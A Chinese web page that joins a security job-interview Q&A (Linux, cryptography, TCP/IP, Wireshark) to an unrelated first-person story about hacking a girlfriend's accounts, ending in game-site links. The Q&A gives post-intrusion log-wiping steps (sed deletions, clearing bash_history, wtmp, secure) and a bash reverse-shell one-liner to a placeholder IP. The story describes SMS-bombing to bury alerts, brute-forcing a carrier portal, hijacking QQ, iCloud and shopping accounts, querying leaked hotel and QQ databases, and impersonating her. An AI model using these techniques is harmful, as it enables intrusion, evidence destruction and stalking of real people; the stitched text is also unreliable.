如何清理日志

meterpreter: clearev

入侵 Linux 服务器后需要清除哪些日志?

web日志,如apache的access.log,error.log。直接将日志清除过于明显,一般使用sed进行定向清除

e.g. sed -i -e ‘/192.169.1.1/d’

history命令的清除,也是对~/.bash_history进行定向清除

wtmp日志的清除,/var/log/wtmp

登录日志清除 /var/log/secure

LINUX

查看当前端口连接的命令有哪些?netstat 和 ss 命令的区别和优缺点

netstat -antp` `ss -l

ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。

反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?

bash -i>&/dev/tcp/x.x.x.x/4444 0>&1

通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?

ls /proc

系统信息,硬件信息,内核版本,加载的模块,进程

linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。

/etc/ssh/sshd___config iptables配置

如何一条命令查看文件内容最后一百行

tail -n 100 filename

Windows

如何加固一个域环境下的Windows桌面工作环境?请给出你的思路。

密码学

AES/DES的具体工作步骤

RSA算法

加密: $$ 密文=明文^EmodN $$ RSA加密是对明文的E次方后除以N后求余数的过程

$$ 公钥=(E,N) $$ 解密:

$$ 明文=密文^DmodN $$ $$ 私钥=(D,N) $$ 三个参数n,e1,e2

n是两个大质数p,q的积

分组密码的加密模式

如何生成一个安全的随机数?

引用之前一个学长的答案,可以通过一些物理系统生成随机数,如电压的波动、磁盘磁头读/写时的寻道时间、空中电磁波的噪声等。

SSL握手过程

建立TCP连接、客户端发送SSL请求、服务端处理SSL请求、客户端发送公共密钥加密过的随机数据、服务端用私有密钥解密加密后的随机数据并协商暗号、服务端跟客户端利用暗号生成加密算法跟密钥key、之后正常通信。这部分本来是忘了的,但是之前看SSL Pinning的时候好像记了张图在脑子里,挣扎半天还是没敢确定,遂放弃。。。

对称加密与非对称加密的不同,分别用在哪些方面

TCP/IP

TCP三次握手的过程以及对应的状态转换

(1)客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x;

(2)服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序列号y;

(3)客户端收到服务器端返回的SYNSACK报文后,向服务器端返回一个确认号为yy1、序号为xx1的ACK报文,一个标准的TCP连接完成。

TCP和UDP协议区别

tcp面向连接,udp面向报文 tcp对系统资源的要求多 udp结构简单 tcp保证数据完整性和顺序,udp不保证

https的建立过程

● 客户端发送请求到服务器端

● 服务器端返回证书和公开密钥,公开密钥作为证书的一部分而存在

● 客户端验证证书和公开密钥的有效性,如果有效,则生成共享密钥并使用公开密钥加密发送到服务器端

● 服务器端使用私有密钥解密数据,并使用收到的共享密钥加密数据,发送到客户端

● 客户端使用共享密钥解密数据

● SSL加密建立

流量分析

wireshark简单的过滤规则

过滤ip:

过滤源ip地址:ip.src==1.1.1.1;,目的ip地址:ip.dst==1.1.1.1;

过滤端口:

过滤80端口:tcp.port==80,源端口:tcp.srcport==80,目的端口:tcp.dstport==80

协议过滤:

直接输入协议名即可,如http协议http

http模式过滤:

过滤get/post包http.request.mothod=="GET/POST"

防火墙

简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。

本文来源: SecPulse安全脉搏 Mr-xn

作为一名黑客,通过技术手段发现女朋友出轨了.

作为一个不合格的乌云白帽子,下边只是冰山一角吧。但如果你是异地,那这也许是最好的教材。

Part 1:好像被绿了?我慌了

事情一开始是这样,我和GF异地接近一年了,GF有两个号码,有一个是我给她买的,另一个是自己买的。

有一天我突然感觉我俩每天的日常通话时间越来越短,从一开始每天半小时左右下降到了隔两天一两分钟,妹子说忙。

但我感觉也许可能我要绿了,当然我不相信男人的直觉这种事儿的,我对我们四年多的感情还是很自信的,毕竟按计划马上要结婚了。

但悲剧的是最后,远在千里之外的我发现了妹子一年中除了我之外交往的三个男人。

Part 2: 我要找到你,不管南北东西白帽子的职业习惯,有了疑问就先踩点侦察一下吧。

我忍不住想看一下妹子的通话详单,两个号码,一个电信一个联通,尝试登陆网厅密码错误或者查详单都会有短信通知,什么拦截短信就不搞了,没工具。

简单暴力的祭出5-6个短信轰炸网站,开了十多个页面,上千条短信过去了,网厅的短信混在一大堆验证短信里,从当晚的通话看,妹子果然没发现。

具体怎么爆破网厅密码,可以买本Burpsuit的书慢慢看,妹子号码的网厅那时验证码正好可以爆破,用身份证号码和验证码重置了服务密码,下载了异地的一年中的详单,开始分析。

不出所料,数据异常多,筛选出来了7个可疑的号码,看了下,两个是岳父岳母大人的,另外五个单独拎出来,时序分析。结果不详细说了,看不出来什么特征。

只是有一个号码平时联系频繁,周末就不联系了,而且通话经常大于半小时,比较可疑。直到这时,我还在幻想,也许这只是工作上的同事,要是出轨了也只有一个情敌吧。

拿剩下的5个手机号搜索微信和QQ,3个有结果,看了下,一个是妹子的同事女的,不管了,另外两个男人来路不明,继续社工,QQ关系库查了下,一个是公安大学的,另外一个好像没上过学,但是很有钱,又Baidu和Google了下长尾信息,确认一个是在经商,另外一个是国宝。

突然想起来还有开房的数据库,但能连G安内网的时候都在查别人,没想到自己也有这天,虽然泄露的是很少一部分,现在只能碰碰运气了。

之前没往这个方面想,早就下载了,干脆载入数据库,写语句,输入身份证一查,瞬间崩溃了,开始只是有点吃醋的意思,直到看到屏幕上白底黑字的结果还是忍不住潸然泪下……

彻底不淡定了!!!妈蛋,继续回到详单,这回什么心情也没了,盯着开房数据库的时间戳,看附近的通话记录。

有几个座机比较可疑,百度了下,有赶集网的数据,好像他们还一起租商铺和房子了。把固话全都拎出来,单独搜索,发现大部分是各大酒店前台的电话,一部分是吃喝玩乐场所,少部分是工作单位的座机。

后边详细的分析不说了,比较枯燥,反正看样子自己也是彻底绿了,未婚夫变备胎,不对,也许只是千斤顶,换备胎的时候用一下。

那就不管妹子的心情了,试了下QQ密码已经改了,等到凌晨两点,妹子一般这时候睡了,果断上id.qq申诉重置密保,妹子是SVIP7 心悦俱乐部会员,企鹅很乖,催了一下半个多小时密保就重置成功了。

还好我和妹子异地前已经悄悄点开了漫游所有好友一个月的聊天记录和永久漫游个别好友的聊天记录。

Part 3 : 拿什么来拯救你,我的妹子妈蛋,果然是这几个渣男骗走了俺心爱的妹子 。

防止妹子夜里看到iphone的推送消息,赶紧先把聊天记录都下载下来,太多先不看了,用QQ邮箱重置了icloud的id,重置了taobao、京东密码,进去看收货地址和交易记录,发现连情趣玩具都是妹子自己买了邮寄给渣男的。

重置了校内微博的密码,看了看私信。去icloud上,看了看“查找我的iphone”,大致位置就在他们出租的商铺附近。下载下来icloud的短信,照片,联系人。

最后出轨的三个对象都确定了,前面说的有个身份证是四十多岁的排除了,可能只是约了个pao而已,或者那次开房用的是假身份证。

剩下4个号码,现在确定有两个是同一个人用的,就是那只国宝,国宝和妹子也异地,不过就像广州和东莞这样,见面很方便,每周都要一起开房亲热下。

另外一个商人也确定了,是妹子本地的,可能是妹子单位同事介绍的,政协副主席的儿子,俩人几个月前已经一起租了爱巢,都不用开房了= =,还在一起做生意。

还有一个主要交流在微信,没法弄到聊天记录,是当地本地人,不知道干什么的,空间也没东西,只在Baidu网页快照里有个已婚男士倾诉婚后又遇到真爱的苦恼,帖子中的那个楼主留了自己的QQ号码,看了下时间,MD,这真爱不就是我妹子嘛,我艹啊啊啊啊,妹子把空分复用,时分复用,码分复用发挥到了极致了啊。

要不要飞过去,像普希金一样决斗,战胜三个情敌,然后我就可以继续和妹子幸福的在一起继续生活了。想到这里,又忍不住哭了好久,和妹子是初恋,而且情投意合,兴趣、爱好、Taste、Status 都很搭,我这么爱你,你竟然异地不到一个月就和这么多男人出轨,好伤心啊好伤心。

他们能像我一样,一次让你GC好几回吗?他们只爱你的身体,能和我一样关心你的灵魂吗?他们天天就知道请你吃别人做的好吃的,能像我一样在家做出媲美米其林星厨的菜肴吗?

大脑不能正常工作了,其实结婚早就准备就绪,俩人又约好趁年轻多玩几年再结婚生宝宝,我还以为是一起旅游游戏恋爱享受生活,没想到竟然是这样玩儿……记得我没喝酒,而是照常爬起来去上班了,刚毅冷静,上司又夸奖了我一回,说过一阵儿先给我涨工资,尽量定P7。

我都想辞职去找妹子去了,听说有P7,我就没辞职,记得每次发工资后给妹子买包包或者转账,妹子都会很开心,我多赚点儿钱,也许妹子会回心转意呢。

当天妹子发现所有密码全不对了,已经抓狂,打电话过来威胁要让国宝调查我,我像王自如一样,努力的和妹子吵了一架没吵赢,挂了后火速找伯父伯母打小报告,伯父伯母表示站在我这边,但是妹子今天已经给他们告过我状了。

Part4 : 我和我最后的倔强

晚上回家,整理了下哭晕在地的心情,找到相关人士的联系方式并没有太费力,既然通过简单技术途径能找到的基本都找到了,就买好了机票,打算周末直接过去。

看了看鹅厂的街景地图,突然觉悟愚蠢的男人们能利用的不仅仅是技术手段,还有最薄弱的环节——脆弱的人类啊。

梳理了下和妹子关系网的交集,想妹子游戏公会里的死党们也许会知道些什么。其实游戏里也都是之前线下就认识的同学或者朋友,隔三差五一起玩游戏,五湖四海时差党乱入,也会聊一些不敢和身边的朋友聊的话题。

昨晚没想到这回事儿,就开始猜YY密码,终于上线,看了看好友,自己认识的是自己大学宿舍的几个兄弟和妹子的闺蜜,另外还认得几个熟悉的ID。

一上线就收到宿舍的兄弟的消息,不对,不是发给我的,是发给妹子的。在一起时间久了,不语音的话 ,估计不会发现是我吧。但是聊了几句就感觉气氛不对,为啥抱怨我给他发好人卡……连续被晴天霹雳击中的我已经没心思继续调查了,没等妹子挤掉我自己下线了。

万念俱灰的我拨通了妹子闺蜜的电话。这是和妹子相互欣赏,真心对彼此好的闺蜜,从追妹子到现在,一直没敢怠慢。这就是发现出轨的过程。唉,被绿的感受真真的心凉啊!

针对大家的提问,会导致男性发现女票出轨的细节,那就总结一下吧,大家也可以帮忙补充。

一:静默出轨模式。

像战前无线电静默一样,去出轨时候,尽量不留下任何身份认证相关信息,包括手机等智能设备的联网记录,主要是别随便连酒店或者别人家的Wifi;关闭数据网络连接和定位服务,关闭手机找回服务,手机不要留木马;不要登记身份证,不要在线订酒店,不要在线买车票机票,不要团购,一切尽量在线下进行;不要随便使用自己银行卡,尽量用现金;不要登陆各种网络服务,要出轨的话,就自己去黑皮,不要发微博上空间逛淘宝留下蛛丝马迹;照片的信息量最大了,删也删不彻底,还容易到处同步,爱自拍的忍一会。

记不全就念叨一句话——上网不涉密,涉密不上网。

二:物理一致性。

保持自己的身体,周边物品尽量一致。TT用掉了,就赶紧补上同批次同款。预计会被按在墙上把衣服弄脏,或者被按在床上把膝盖磨破之类的,就提前防范,别留太明显的印记。

日常通讯是最危险的环节,这是男人的强项,到处充满了可留意的细节,更不说iMessage、QQ之类的聊天容易被强行同步,用一些小众的也可疑,推荐WeChat,可以挥一挥衣袖,变得干干净净。

三:学会同时爱两个以上的人。

前两条主要是针对另一半是理工科的,这一条说是说在情感方面,不要因为爱上了小鲜肉,就对家里的大叔提不起兴趣了,敏感的文科生很容易觉察到这些细节。

学会同时爱两个以上的人,对TA们的昵称别叫错了,分不开就都叫宝贝;出轨前要有承受巨大压力的心理准备,从自己一个人不停的练习和两个对象间不同相处模式的切换开始吧。

最后,相信我,也许所有出轨的人都会后悔。

因为得到的总会发现并没那么好……但是失去的却再也没法拥有了,在这件事上,细节不决定成败。

  • 相关游戏
  • 最新游戏
  • 发表评论
手游排行 新游中心 热门专区 手机软件APP下载
网游排行榜 游戏攻略 网游下载 安卓软件APP下载
单机排行榜 手游礼包 单机下载 苹果ios应用下载
安卓排行榜 新游视频 手游下载
苹果排行榜